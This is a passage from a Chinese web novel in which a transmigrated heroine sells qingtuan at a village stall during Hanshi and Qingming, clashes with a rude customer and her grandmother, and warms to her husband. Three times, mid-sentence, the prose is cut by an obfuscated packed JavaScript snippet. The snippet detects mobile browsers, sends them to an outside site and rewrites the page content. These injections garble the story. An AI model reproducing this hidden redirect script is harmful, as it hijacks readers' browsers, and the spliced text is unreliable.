何况她们村里又有一座系统性的纺庄,能够赚钱,所以她们也不缺钱来买凉糕吃。 那些姑娘婶子都佩着柳枝,年龄稍小点的头上也戴着柳条圈,她们来到摊上,有些熟人向丁宝珠问了好,今日却见她身旁多了个男人,就明白是她的新夫婿,还不忘打趣几句。 丁宝珠倒是淡定地回了,一心一意地只推销自己的吃食,可身旁的徐晔想得就多了,他还是第一次遇到那么多女子,更是一句话也不说,和个木桩子一样。 有人见摊上没有抹茶红豆凉糕,感到遗憾。其实那青团也是有抹茶馅儿的,丁宝珠也会做,只是抹茶作为馅料,搭配的食材就要多点,可那食材她目前是难得到的,也就放弃了。 丁宝珠问道: “不如尝尝咸口的青团?这日头也高了,不一会儿就到了午时,正好能当午饭吃呢。” 丁宝珍听了,也向其他人建议道: “待会儿我们要去打秋千,结束了不正好吃?要不我们买些?” 有人笑道:“珍姐儿这是给自家人揽生意了,那咱们就看几份薄面,买些尝尝吧!” 丁宝琴估计是丁宝珍带出来一起玩的,直接就抬起下颏对丁宝珠说着,不知道的还以为是她请客呢: “大姐,娘给我零花了,所以……我要一根扭扭糖!” 丁宝珠无奈笑道:“知道了知道了,我给你扭一根。” 纺庄女子们有的仍是买甜口青团,也有的买了那咸口青团,那两种口味总算是消耗了些。 筐子里还剩下三分之一不到的青团子,那甜口的卖得最多,所剩无几了。就连那里面加了点红糖的艾草煮鸡子销量也不错,至于那饴糖更是畅销,而且多数是领着小孩儿的大人来买的,那前者看到就走不动道儿。 徐晔看看荷包,又看看丁宝珠——她正搔着颊,一脸若有所思的模样,不知心里在想什么,可就是徐晔也知道,这是在想该怎么把剩下的东西给卖出去呢。 他嚅了嚅唇,想开口说些什么,也许那会是安慰,但始终不知该说啥,最终还是没出声。 可丁宝珠没注意,她想到最后,突然把那些青团打乱了位置,又拿了油纸出来,每张裁好的里面各包了三个青团。 在这之前她都是用叶子来包装的,只是今天过节人流多,也算是为了求个好印象,丁宝珠特意买了点油纸回来做包装,好在她也有余钱去买。 包好了青团,丁宝珠一一放好,蓦地又高声吆喝道: “瞧一瞧看一看咯!青团盲盒大甩卖,是赚是亏全靠自己选!快来买啦!——” 徐晔惊讶。她又有了什么鬼主意? 这下就连他们旁边的摊贩也止不住好奇了,有一个离得最近的,只要说话就能听到的程度,从丁宝珠开始售卖时就注意到两人,还想着是不是真的卖吃食会比较好,可惜做吃食也是需要不少本钱的,所以最终也没做那生意。 他忍不住问道: “我说娘子,你这……盲、盲盒,又是啥东西?” 这样的距离,就算她不解释,做生意多的人一看买卖过程就明白了,所以她也没必要藏着掖着,便笑吟吟地说道: “这盲盒就是把要卖的东西组成一份,但里面具体有哪些物品,就要靠客人买后自己发现了。若是里面东西的总价超过了售价,那就是客人赚了。” 那摊贩想了想,又想着丁宝珠做的是青团,外面的艾面一裹,谁知道里面包的是什么馅料?但是每个青团的售价却是不同的,不正适合这个方法?有些好奇的客人,也大概会来买试试的。 这小娘子,看起来还挺会做生意的啊? 别说是那些行人了,就连他自己也想着买一份试试了。 况且他在丁宝珠的摊子旁边,时不时有人过来买吃食,偶尔竟也来到他的摊上瞧瞧,给他带来了生意,也有了钱。他考虑了片刻,便问: “那娘子,你这盲盒咋卖的?” 丁宝珠连忙说道:“一个青团盲盒十五文,卖了之后就概不退换了,里面可能会开出比这售价贵的,但也有可能会亏,所以一定要想好再买哦。” 那摊贩思考过后,到底是有那好奇心,咬咬牙道: “行,那我要一份!” 丁宝珠答应了,让徐晔给了他一个青团盲盒。 徐晔面无表情地递过来,那小贩看着年纪也不大,瞧他那脸就不禁缩了缩肩膀,赶忙收下,只等后者走了,才开始拆那盲盒。 里面是三个大小外表一样的青团,恰巧那小贩也感到饿了,便随手拿起一个咬了一口,里面是脆生生极鲜的笋丁腊肉馅儿。他也是没怎么吃过咸口青团的,顶多吃过经典荠菜馅儿的团子,没想到与芥菜一样十分有着春意的笋子放在青团里也是可口。 其实这青团无非是加了艾草进去,但这馅料要是做成了,放在其他吃食里也能成,不过对于这名小贩而言,只要他觉得好吃就行。 吃完这个,他又忍不住拿起旁边一个咬了口,里面是看着黄澄澄的蛋黄肉珑松。这不入嘴,他也不清楚竟然是这种味道,吃了却与姚丹的心情是差不多的。 见这小贩吃得津津有味,连自己的生意一时也没顾了,加上丁宝珠解释过后就一直在叫卖,果然吸引了不少行人前来问询。 那小贩吃了两个,最后一个只想留着,可还是好奇地瞧了瞧,那最后一个青团是红糖枣泥馅儿的。心里细算了算,花的十五文钱没有亏,也满足地笑了。 而吃了两个偏咸口的,就想再吃点甜味,小贩内心纠结了一下,还是继续咬着那甜青团吃。 事实证明,甜咸永动机永远是个真理。 而这个相对新鲜的盲盒策略也成功引来了一批顾客,每人都买了一份,因为那咸青团剩得比甜青团多,所以里面大多数都有那贵一些的咸青团。而早就已经定好价格的丁宝珠,只要把青团都卖出去,那就一定是赚的。 丁宝珠的摊位上一时热闹非凡,等于每人都在拆那青团盲盒,瞧瞧自己究竟是不是挣了。然而就在这时,忽然有个买了青团盲盒的人板起脸来,拿着那包青团开始叫嚣道: “不行不行,我这都是甜青团,那不是亏了一半了?我要换一个!” 丁宝珠淡然道: “不好意思,我先前就说过,这盲盒一旦售出就不退不换,您要是想再试试,那可以再买一份。” 那人听了,立时吹胡子瞪眼,火大道: “啥?再买一份?那我不更亏了?我看你就是想了损招,让人过来买你剩下的青团子罢了!——不行,我这也太亏了,赶紧给我换一份!” 嗯……其实也不是没有道理,她不就是在想办法把其他青团卖出去吗? 但是对待这名死缠烂打的客人,丁宝珠也没必要给好脸色。怎么其他有的是亏了的人就没他情绪这么大?分明是胡搅蛮缠,也就冷声道: “我们做的是寻常交易,都是一手交钱一手交货,难道不是客人您主动过来买的么?我也没有强买强卖。而且我也讲了很多遍不退不换,在场的人都知道,所以请您不要为难我!” “嘿,我说你这女的——” 那男人挽起袖口来似要暴起,手里的那包青团握着,好像要丢过来一般。可丁宝珠也不是吃素的,要是眼前人实在难缠,她也不是不能使用暴力——再说也是对方先挑起的事端,她占着理呢! 原主这身子长得高,力气又大,她可不觉得自己毫无胜算。 可就在这时,徐晔却抢先上来挡在她前方,大喝一声道: “你想做啥?!” 简简单单四个字,威力却不可小觑。那做猎户的和屠夫也相差无几,手里不知碰过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519454|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多少血腥,就差没杀过人了,久了身上就自带一股生人勿进的架势,人们都传像这种人背后都是有着凶神的,见到了还得绕道,以免牵连上自己。 更别提徐家还有一大一小,所以完全没有姑娘愿意嫁进来,也就是丁宝珠不怕这些,而且还觉得徐翊人挺好的,就是那徐晔,也不过是个待人冷淡的闷葫芦罢了。 但是闷葫芦一旦发了脾气就不可谓不可怕了,他还狞着脸,那条伤疤胎记随着表情轻微地涌动着,一双星眸紧紧盯着那人,让丁宝珠想到了留守在家的黑虎,就差真龇牙了。 那人浑身被吓了一下,手里的青团都啪嗒落在了地上。明明徐晔比这人的年龄还要小,可两方气势却变得十分明显。 可输了人也不想输阵,他结结巴巴嘴硬道: “咋、咋了?我不就是想换换么?不换就不换了,你还想打人不成?——有你这样做生意的?” 徐晔抱着双臂冷冷地盯着他,丁宝珠也无声冷笑一下,分明是他先刁难的,还倒打一耙说起他们来了? 正想回答,旁边却有其他客人不满道: “我说你这人真是好笑,人家娘子都讲过多少遍了?怎么就你在这瞎咧咧?又不是只有你一个人亏了!” 这话一出,其他客人也就顺势在旁边七嘴八舌起来,皆是向着那人: “就是就是,为难娘子有意思吗?要不是她夫君在,你还想上手了?” “我不也亏了几文?我咋就没你那么激动?明明是自己来买的!” 那人脸上红一片又转成白一片交织起来,最后恶狠狠地瞪了丁宝珠徐晔两人一眼,气呼呼地就离开了,那背影颇有些落荒而逃的意思。 见人走了,丁宝珠这才对其他客人笑道: “多谢你们出头,我来这里时日也不长,大家买盲盒亏了也不打紧,若是觉得好吃,明日再来光顾,今后大概还会有其他新的吃食的!” 再寒暄几句,那些客人也走了,丁宝珠这才松了口气。 到底来说还是筐子没法装太多的吃食,所以加上这盲盒策略,他们带来的吃食几乎都卖光了,仅仅那饴糖罐子里还剩下一点。 丁宝珠见正好还剩两个艾草煮鸡子,便对徐晔道: “辛苦了,咱们休息会儿吧,过会儿就能回家了。” 徐晔顿了顿,才答道:“我也没啥辛苦的,就是在一边收钱罢了。” 而那个沉甸甸的荷包此刻是放在他的衣内,这样贴身也不怕别人摸了去。 他估摸着里面至少有上百枚铜钱——这都已经能和他家去上山打猎时的日常持平了! 毕竟收益最大的是那些大型猎物,但没有足够准备,他们还是不敢轻易去猎的,所以平常还是猎那种小兽最多。 徐晔不禁想到他晚上回房的时候,经常能看到丁宝珠伏案在草纸上写写划划,上面的图案也像是鬼画符一样,显得神神秘秘的。但不是自己的东西,他也没有细看,可既然在做生意,想必那是用来记账的吧? 两人直接在地上坐下,把那剩的两个煮鸡子破裂的外皮给剥了。表面上有一阵淡淡的艾草清香,吃了一口,又混合着一丝甜味,里面的蛋黄也煮得软香软香的。 只是比起这艾草煮的鸡子,丁宝珠还是更喜欢吃卤蛋,只是卤蛋势必要用到各种大料调料,算在一起那就不太便宜了。 徐晔拿着这鸡子两口就吃完了,他家不怎么吃鸡子,也不像其他农户家里还养些鸡,自然不清楚鸡子还有许多做法。不过经过这段日子,他们家里的伙食简直上了整整一个等级,竟然让他有了一种想要知道以后还会有什么好吃的感觉,他往昔的食欲可没这么高。 舔了舔指尖上的艾草汁,徐晔抬眼看了看日头,问道: “现在走么?还是……也去逛逛?” 他感觉这丁宝珠对做买卖很有兴趣和劲头,对其他事倒是不甚在意,特别今儿还是最适合外出踏青之日,她姐妹不都出来了吗?她自己反而只顾着来做生意,就连徐莹徐芝,或者他自己有时候也忍不住要出来呢。 丁宝珠也吃完了鸡子,偏头一笑道: “行啊,只是我们还有这扁担呢,难不成一边挑着一边逛?而且爹还一个人在家。” “那我们就先回去,下午再来,这里一定还热闹。”徐晔提议道。 “好。”丁宝珠点头答应,要知道在前世,这种时候她也是忙着拍视频呢,还真没有怎么去踏春玩过,眼下连丁家人都出动了,她还真想尝试尝试。 于是两人一人挑起一副空扁担,收了摊,晃晃悠悠地往回走去。 49. 数钱遇蒋氏 等走到原先摆摊的地方,丁宝珠是没怎么在意地径直往前,可那占了地方的小贩见她身上的那两个空筐,立刻不可置信地睁大了眼,一时连招呼客人都忘了。 徐晔倒是额外注意了下,那小贩带来的吃食没有丁宝珠的多,相同的时间后者卖得更快,不过大概也是有熟人的原因。 很快回了家,徐翊还没有回来,应该是在田里忙着。家里不能动火烧灶,也省得丁宝珠提前去预备午食了,她也就和徐晔来到屋里,在那桌旁坐下。 徐晔将那荷包拿出来,丁宝珠看着那鼓鼓的样子,心里也觉满意,面上就不由自主地笑起来,只是那笑容似乎有些诡异,让前者抽了抽嘴角,问道: “至于吗?一副没见过钱的模样。” “怎么不至于?你敢说活在这世上有哪里是不需要花钱的吗?” 丁宝珠无所谓地反问着,一面把荷包打开反过来,倒出了一片铜钱,满室叮叮当当的声音又使她扬着下巴得意道: “听听,这声儿多好听!” 徐晔翻了翻眼,坐在一旁不说话了。丁宝珠也不再理他,自顾自取出她自制的账本和笔,开始算账。 屋里安静,只有点划在草纸上的唰唰声。徐晔觉得稍许不自在,正想找个理由离开,却听丁宝珠突然兴奋道: “太好了,果然还是节日时有钱赚,今天这一批吃食卖出去后,比平常多了两三成多的收入呢!” 还得是她把那青团的定价定高了些,而且还卖了酒,否则估计不会有这个结果,但不管怎样,也依然是有盈利的。 徐晔惊讶问道: “啥,你已经算好了?也没用算盘啥的?” 就在纸上划了几下,就成了?家里也是要计算开支的,不过那事都是李银屏在做,她都要拿个小算盘才行,丁宝珠怎么在纸上画了几道好像就完了? 丁宝珠清咳了咳,才说道: “虽然今天赚得多了,但其实也没有多少,所以算起来方便些而已。” 她总不能说是用了点「仙术」一般的法子,就把那些数给算好了吧? 徐晔想着她家里就相当于是做生意的,更是有去村塾的读书人,那能够算账,些许识得几个字貌似不奇怪,也就释然了。他抬头见丁宝珠再把铜钱往荷包里装着数着的那认真的侧脸,不自主地说道: “你和我印象里的……不太一样。” “嗯?”丁宝珠捻着铜钱,顺着话题问,“什么印象?” “……能有啥?你在村里也没啥好话。” 这倒不是徐晔主观的想法,他是实话实说,就徐家住在那么偏僻的地方那传言都能传到,可想而知丁宝珠的名气有多大了,何况他们之间还有某层异样的关系。 不过他听到的通常也是那老几样,总结起来就是不守妇道、脾气暴躁什么的,说得并不好听。可徐晔与她接触至今,甚至都时刻准备好她暴起了,可日子照旧过下去,除了家里的一些摩擦,也没出啥大事。 原先想着成亲后家里就会更鸡飞狗跳,所以成亲前他就抗拒这门亲事,一直都是因为徐翊,他才只好听话娶了丁宝珠,但没想到的是,之后不单平平静静的,日子竟然也有些好的兆头了。 这感觉……似乎还不错? 要是能这么一直下去,那他认为娶个媳妇儿可能也不赖。 丁宝珠撇撇嘴,回嘴道: “光说我,你的名声不也挺大的?照这么讲,你在我印象里也不大相同呢。” “哦?”徐晔挑了挑眉,问道,“是啥?” 作为本人,他当然也听到过那些话语了,只是他压根没放在心上,有几个能说得上话的人也不去理睬,他自然更不去理会了。 只是……他听说家里去送了聘礼后,丁宝珠的反应极大,还让徐翊和李银屏的脸色大变,就差没放弃了,所以直到成亲后有那么一段日子里,他们之间显得少许尴尬。 这么一想,他们好像都是因为传闻才先入为主的? 丁宝珠一时没搭话,歪头想了想,才说道:“还能是什么,说你脾气古怪呗,而且还很凶,有了媳妇儿一定会打媳妇儿……” 徐晔噎了一下,不快道:“打媳妇儿?我咋会那样做?没用的人才会去打女人呢!” 而且他如果真的那么做了,恐怕就会被徐翊先打一通,何况也没有这个如果。 丁宝珠笑嘻嘻打趣道:“那我就放心了,哦,还有一点,给我饭吃就行。” 徐晔扶额叹道:“家里哪里饿着你了?尽胡说!” “嘿嘿,我不就是开个玩笑嘛!” 闲话几回,他们突然听见门外传来了声响,原来是徐翊回来了,正好也是午时。 丁宝珠把钱放好了,去灶房里把预备好的冷食拿出来,三人一狗都吃了,徐翊问道: “晔儿媳妇,今儿上午的买卖咋样?” 丁宝珠笑道:“碰上过节,所以今天收入还不错,我想着接下来几天也再去。” 今天是寒食,但是清明还有数日呢,得趁着这段功夫再争取赚一笔。不过她的材料需要再补充补充了,恰巧今天也有了钱,只要去买就行——而且今天摆摊的人还多呢。 徐翊似乎也想到了这点,便问道: “那你们下午还要出去不?” 丁宝珠点点头,徐晔在一旁也问: “爹,你下午还下地么?” 听到两人待会儿还要一块儿走,徐翊心里满意,便笑道: “还有一些活儿没做完,你们去就是了,家里有黑虎看着,出不了啥事儿,你们在外头多玩玩再回来。” “汪!” 黑虎在旁边摇着尾巴,像是在答应。 丁宝珠摸了摸柔软的狗头,心中不禁感叹,这老爹还真是特别想做助攻啊。 可惜再助攻,徐晔估计还是不会对她有什么感觉的,那不是白白浪费么? 午休后,丁宝珠背上了一个筐子和徐晔出了家门,但他们首先的目的地不是村外,而是丁家。 今天的煮鸡子和蛋黄肉松馅青团是卖光了,也不知买走这青团的客人明天还会不会来,但她准备再买一些食材。 丁家没有养看门狗,丁宝珠推了门就能进去。四下望了望,院里十分安静。 徐晔说道: “你去找三叔三婶吧,我在这里等着就行。” 丁宝珠玩笑道: “怎么了,我叔叔婶婶不也是你的叔婶?你不敢见?” 徐晔想着上次回门就没见到丁绍姚丹,还想着谢他们的随礼,加上他们如今也有了关联,这次也正好见个面,就和丁宝珠一起进去了。 来到三房的那间屋外,丁宝珠敲了敲门,却是半晌没开——今天早上还见到他们了,莫非是还没有回来? 徐晔问道:“不如我们先去买别的,完了再来?” 丁宝珠答道:“也只能这样了,然后买好了正好能回家。” 两人商量了几句,从某个方向却倏忽出现了另一个人的话语,里面带着一股阴阳怪气: “真不知道村里还有哪家媳妇是动不动就回娘家来的,咋了,在那边过得不好,过来找你娘,还是来找你爹了?” 丁宝珠皱了皱眉,一耳就听出来那是谁。回身一瞧,果然是那蒋氏。 那蒋氏绾着一头灰白发髻,倚在门边抱着双臂,一双三角眼滴溜溜地往丁宝珠身上睃着,似乎就是想在她身上找到些她过得不快乐的痕迹,也许她不快乐了,她就会高兴。 又恰逢那丁宏柳萍都不在家,也就给了她可乘之机,非要上前来嘴几句才罢休。 丁宝珠不知道原主与蒋氏之间的恩怨到底有多深,可既然是在对着自己发难,不怼都对不起原主,便嗤笑道: “奶奶,我回来是来找三叔三婶有事的,你扯上我爹我娘做什么?再说了,你能有那么大神通,还知道其他家媳妇的情况?而且你怎么就觉得我会过得不好?难道您是盼着我过得不好了?” 丁宝珠一壁说着,又拉过身边徐晔,朝着蒋氏就丝毫不惧地大眼瞪小眼起来。 徐晔看到她这幅盛气的样子不由得想笑——这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“有事?有啥事?都是别人家媳妇了,除了回门,冷不丁带着筐子回来,还能是做啥……” “哎哟,这是咋了,人咋都站在屋外,你们在说啥呢?” 蒋氏话音未落,又从门那传来了其他人的声音。丁宝珠偏头一瞧,原来是姚丹他们回来了。依旧是身上配柳,唯有那丁宝姜头上戴着一个柳条圈。 丁家算是外姓人,在这里也没有祖坟一类的,唯有头顶上几个关系比较近的长辈,那坟头也是和其他人那般埋在了象山上。丁进和蒋氏那一把半截子已经入土的老骨头现在是爬不动了,也就把这件事交给了小辈,又因为他们目前更器重大房,所以去祭拜也是交给了大房人去,三房倒是乐得清闲,还能一起外出踏青。 姚丹睃了一眼蒋氏,又看了丁宝珠一眼,心里大概就明白了六七分事,连忙抢先笑道: “大侄女儿可是在等我们?这次来又有啥事啊?” 于是丁宝珠不理蒋氏,转身笑道: “也没等多长时间,三婶,咱们进门去说吧?” “嗳,那也好,我这就开门。” 姚丹也明白,虽然没见到全景,但大概率是本就看丁宝珠不顺眼的蒋氏先发难的,要不是丁绍作为小儿子总要受点宠,她估计也要忍受蒋氏的磋磨了,所以平常能不对上就别对上的好,最好接触也不接触。 姚丹开门让丁宝珠与徐晔进去,又拉了丁宝姜,而那丁绍正要跟着进去时,却被蒋氏一把拉住,小声道: “你给我等等!” 丁绍无奈问道:“我说老娘,你又有啥事了?” “找你问点事,你这么不情不愿的?”蒋氏没好气地白了他一眼,又随即问道,“我说你家咋和她扯到一块儿了?搞得神神秘秘的,到底在干啥,还不快说?” 丁绍想着那件事过不多久想必整个村里的人都能知晓,就更别提是蒋氏了,便一五一十回答道: “大侄女儿这次来估计还是来买鸡子的,这几日不是过节么,她在村外摆摊子卖吃食呢。” “啥?摆摊子卖吃食?”蒋氏惊讶了一霎,又叉腰不满道,“我就知道她嫁出去了也不会消停!还摆摊子?她会吗?她夫家竟然也答应她胡闹?果然那猎户家除了富裕些就没个规矩可讲!哼,我看她是肯定做不好!” 丁绍不说话了,只找了个借口就回了屋,这次他得帮忙一起做这笔生意,而蒋氏瞪着眼,最后也只能悻悻然也回屋了。 50. 青团全家福 “大侄女儿,这次是买鸡子?还是咸蛋?要是松花蛋的话,估计还要再过一段时日才能腌好呢。” 一进屋,姚丹就让丁宝姜自己去玩,然后带着丁宝珠和徐晔两人去了屋后并且推销起来。 丁宝珠看着那一排竹篮里的鸡子,笑道: “没事,这次我想着还是买一样的,麻烦三婶给我秤斤咸蛋吧。” “哎哟,这是咋了,那咸蛋黄的青团子难道卖的不好?”姚丹无论如何也是接触过生意的,一听就清楚其中的深意。“可是我和你三叔尝着,倒是觉得不错呢。” “可能是口味不合适,不过今儿才是第一天卖,之后还不知道呢,所以这次我先只买半斤一斤就行。”丁宝珠解释道。 姚丹点点头,手脚麻利地秤了鸡子,和丁宝珠一手交钱一手交货。做完这些,姚丹和丁绍又留他们下来寒暄了一阵,后者也就顺势感谢了三房二人,那场景可以说是和和美美的。 拿着鸡子和咸蛋离开丁家,两人又接着出村,那道上两旁果然还停留着不少摊贩,售卖的东西也要比平日里多,都要赶上去镇里赶市的时候了。 徐晔见路边果真有卖柳条和柳枝圈的,只不过多看了一眼,那小贩就献着殷勤往他们那招手道: “郎君,娘子,快来瞧瞧吧,都是今天新采的柳条,想做什么样子都可以呢!” 丁宝珠也发觉了,想着也是过节,便笑道: “徐晔,要不我们也学着戴戴?” 小贩见有意,赶紧笑着说:“俗话说得好,寒食不戴柳,红颜成白首,二位一瞧就是一对儿的,再来两条柳,慢慢就从红颜再到白头相守了!” 丁宝珠笑而不语,只是看了徐晔一眼。徐晔板着脸没出声,但是总显得神气稍许赧然。 既然开不了口,丁宝珠就说道: “行,那就要两个柳条圈子吧。” 徐晔这才出声道:“柳条圈子你戴,我要一条柳枝佩着就行了,不然我戴柳条圈子像啥样子?” 丁宝珠笑道:“人家都说了,不戴就会成白首,那当然是要戴在头上才生效。再说了,又不是没钱买,你就和我一起戴戴又有什么不妥?” 徐晔想着她今日挣了钱,加之也是自己提出出来的,只好随了她的意,买了两个柳条圈子。 那小贩对于这个决定也是喜笑颜开,自然是因为柳条圈子要比普通的柳枝还要贵些了。 柳条圈子戴在脑袋上,两人都梳了各自的发髻,所以也正好卡在那上面,新鲜嫩绿色的细长柳叶随着动作与和煦春风不断轻微晃动着。 丁宝珠摸了摸自己的柳圈,下意识去看徐晔,却没想到后者竟然也瞧了过来,那两双眼眸就那么对上了——徐晔的头发现下梳得整整齐齐,倒是又有另一番感觉。 徐晔移开眼,闷声道: “不是还要去买东西么?快走吧。” “……哦。” 丁宝珠答应了,就又和他往前走,期间擦肩而过不少同样戴着柳条圈子的,似乎还是一对对夫妻。 她又买了很多粮食,比如糯米、大米和面粉,徐晔一看,就知道这是她买来做新吃食的,便问: “你那青团子不做了么?” “做的,接下来不还有几天是清明吗?正好还是要吃艾青团的。只是我想着青团是习俗吃食,过了之后自然要准备新的接着去卖了。” 丁宝珠一边考虑一边回答道,徐晔想了想,又问: “你那凉糕还做吗?” “也做。我头回做的就是凉糕,直到现在都有了一些固定来买凉糕的客人,要是突然不做了,那不就是白白放弃了嘛。” 丁宝珠说,却倏忽想起了什么,转头笑着问: “对了,你是不是喜欢吃末茶红豆馅儿的凉糕来着?要不我也给你做点?” 徐晔愣了一愣,没想到丁宝珠竟然还记得这件事。不过他也只是买了那一次而已,况且丁宝珠嫁进来后,他若是想吃,招呼一声,丁宝珠估计也不会不答应,可他想着不麻烦,也就再也没讲过。 “……随便你。” 徐晔丢下了一句,既不肯定,也不否定,但以丁宝珠这些日子对他的认识,那估摸着就是肯定的意思了。 她准备接着主做青团,又去买了些做馅料的材料,另外还买了不少麦子,想着再做饴糖,还可以做其他吃食。 然而徐晔看她背后的筐子越来越满,蓦然问道: “你一会儿回去就做了?然后明天拿出去卖?” “是啊,怎么了?” 徐晔顿了顿,斜着眼说道:“今天是寒食,不能生火,你咋做吃食?” “……” 丁宝珠一惊,继而讪讪地挠了挠后脑,光想着怎么在清明里卖吃食,竟然一时忘记眼前最近的这点了! 徐晔见她这幅尴尬的模样,不由得嘴角微微勾了勾,才道: “行了,咱家住得偏,四周也没啥邻居,何况这吃寒食也不是人人都遵守,你明天又要去做买卖,开了灶也没啥大事。” “那我就放心了。”丁宝珠松了口气,还不忘像是刚才那个小贩那样殷勤道,“到时候我给你做凉糕吃,嘿嘿。” 徐晔不回话,心里倒是真有了几分期待。 买完东西,两人就回家了。但是想要做艾青团,还需要一件重要的食材,那就是艾草。 艾草在这个时节生长茂盛,通常一长就是一片,所以丁宝珠才放下筐子,就马不停蹄地想去找艾草了。 徐晔这时说道: “收拾收拾我也去,这时候蛇多,我看看能不能去抓几条回来熬蛇油。” 原本蛇油卖出的价格比蛇胆低,结果上回竟然被丁宝珠卖出了意想不到的高价,他们还与那摊子说好了,所以他得趁着机会多去抓点蛇回来。 有了计划,仿佛日子也有了盼头。丁宝珠去采艾草花的时间比徐晔少,也就提前回来去做那青团、饴糖、米酒,还做了不少水磨糯米粉挂在灶房悬梁上。 之后她还要做晚食,徐晔赶在太阳彻底落下前和黑虎回了家,衣料上都带着些水汽,带去的筐子里果然多了几条蛇身。 “你回来了?”丁宝珠走出灶房问,“反正已经开了火了,要不要把这些蛇给处理了,留出肉烧掉?” “算了,我回来的有些晚了,咱们还是吃之前备好的吃食吧,只要过了今天就行。”徐晔摇摇头,又抚了抚发上的水雾。“等明天你去村外做买卖,我来把蛇处理了。” 商量完后,两人和徐翊简单吃了晚食。对于丁宝珠提前开火,徐翊没有多说什么,也许他也不是那么墨守成规的人,更何况她开火还是有理由的。 翌日一早,丁宝珠就挑着扁担离开家门。这回她主卖青团,照旧做了四个馅料,另外就是米酒和饴糖,所以一个人也能去。 摆摊主打一个流动性,丁宝珠这次又到了一个与上次不同的地点,放下扁担整理一番就开始叫卖起来。 结果没想到的是,才过了约莫半柱香的时间,就有人带着生意上门了,而丁宝珠甚至瞧着还有些眼熟,或许是昨日来过的客人——俗称回头客。 “哎哟,娘子,你果然还是出来做买卖了!” 昨日的人多,丁宝珠不太能记得眼前的人究竟是谁了,但来者是客,便立马笑着招呼道: “是啊客人,我清明这几日都在。客人想要什么?今天也有和昨日一样的青团,还有桃花酿与杏花酿!” 先前的桃花酿是用桃花瓣做的,如今杏花也正开得茂盛,丁宝珠又用杏花做过吃食,所以也用那杏花瓣同样酿酒,那桃花的气味也就转变成了杏花的气味了。 那客人笑道: “昨儿我在你这买了带回去吃的,那蛋黄肉珑松馅儿的青团,我一开始还奇怪呢,谁知尝了下,味道不错,你这还有没有?要是有的话,我再买些回去。” “当然有,客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546560|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人需要多少?” 丁宝珠打开筐上的盖子,心里却雀跃,看来自己推销这种新馅料有了一定阶段性的成功,不然也不会有回头客再来买了。 事实证明,想要尝试一种新事物,时间也是关键的一点。 招呼好那位客人离去,还真的又来了几位想要买那蛋黄肉松青团的人。丁宝珠忽然有些后悔,原本想着及时止损,没想到反而是做少了不够卖! 为此她不得不更改营销策略,将那青团组成了全家福售卖,这样其他的馅料就也能顾上了,再者她做的其他馅料青团的味道本就也不错,所以大多数客人还是愿意买上一套的,这么一套,虽然没有包装精美的礼盒,在村中附近也适合赠送。 其次就是过来买酒的了,酒的利润其实要比吃食还高些,卖到后期,她又把那青团与两种酒捆绑销售,今天竟然卖得要比昨天还要快。 丁宝珠收好了钱,挑着扁担就忙不迭又去了丁家。前两次去都能见到三房那的存货,所以她仍然是可以去三房那买食材的。 然而她这一次去丁家,却发现室内竟显得些许热闹,院里篱笆围的鸡依然在咕咕哒作响,丁宝珠见姚丹站在那有一搭没一搭地撒着饲料,像是在发呆,便轻轻叩了叩门,问道: “三婶,家里发生啥事了?” 姚丹回过神来,看到丁宝珠,马上挥手招她过去,笑道: “大侄女儿这是去做买卖回来了?” “是啊,今天都卖完了,所以再过来一趟买东西。”丁宝珠回答着,又往那几栋屋里瞅了瞅,问,“三婶,我怎么听这声音是从大房屋里传出来的?” “嗐,你现在嫁出去了,对家里事儿不清楚也正常。”姚丹拍了拍手解释道,“前阵子你那堂弟不是去县城参加考试了吗?你大婶婶亲自陪他去的,今天一大早才回来,我偷偷听了一回,说是这次考试考得不错,所以你爷爷奶奶还有大叔叔婶婶当然都高兴了。” 丁宝珠听到这挑了挑眉——这怕不是丁笙在自我感觉良好吧? 不过这也不管她的事情,所以丁宝珠很快就又说想要买些咸蛋回去。 能做这笔额外的生意,姚丹哪有不应之理,紧忙带着丁宝珠又去了那熟悉的后屋开咸蛋坛子了。 只是后者却觉得,姚丹怕是见到回家的丁笙,所以想起自己的儿子丁焕了。那丁焕年纪与丁宝姜差不多大,只是早早就被三房送去做了铁匠的学徒,平常只有过年才会回来一趟。 当年丁宏也是去屠行做学徒才成为一名屠户的,只是做屠户显然更简单些,像木匠铁匠这种手艺,光是学徒就起码要做三年,五六年也出不了师呢。 其实三房也是有余钱能送丁焕去村塾读书的,但他们没什么太大的想法,觉得后者能有一门扎实的能啃到老的手艺傍身就够了,所以才送了他去做学徒,蒋氏自然就更喜欢那读了书能给丁家光宗耀祖的丁笙了。 这次丁宝珠一口气要了两斤的咸蛋,方才卖青团,蛋黄肉松馅的卖到后来没有了,之后再专门过来的人就连连叹息,于是她便说明日还有,所以怎么也要多做些才行。 只是清明总共也没几日,所以到底还是不能买多了,最好是能刚好卖完,她就可以去准备其他吃食了。 姚丹一听她这次要的那么多,就明白那青团的销量是好起来了,这做生意嘛,有起起伏伏那是再正常不过了,便笑道: 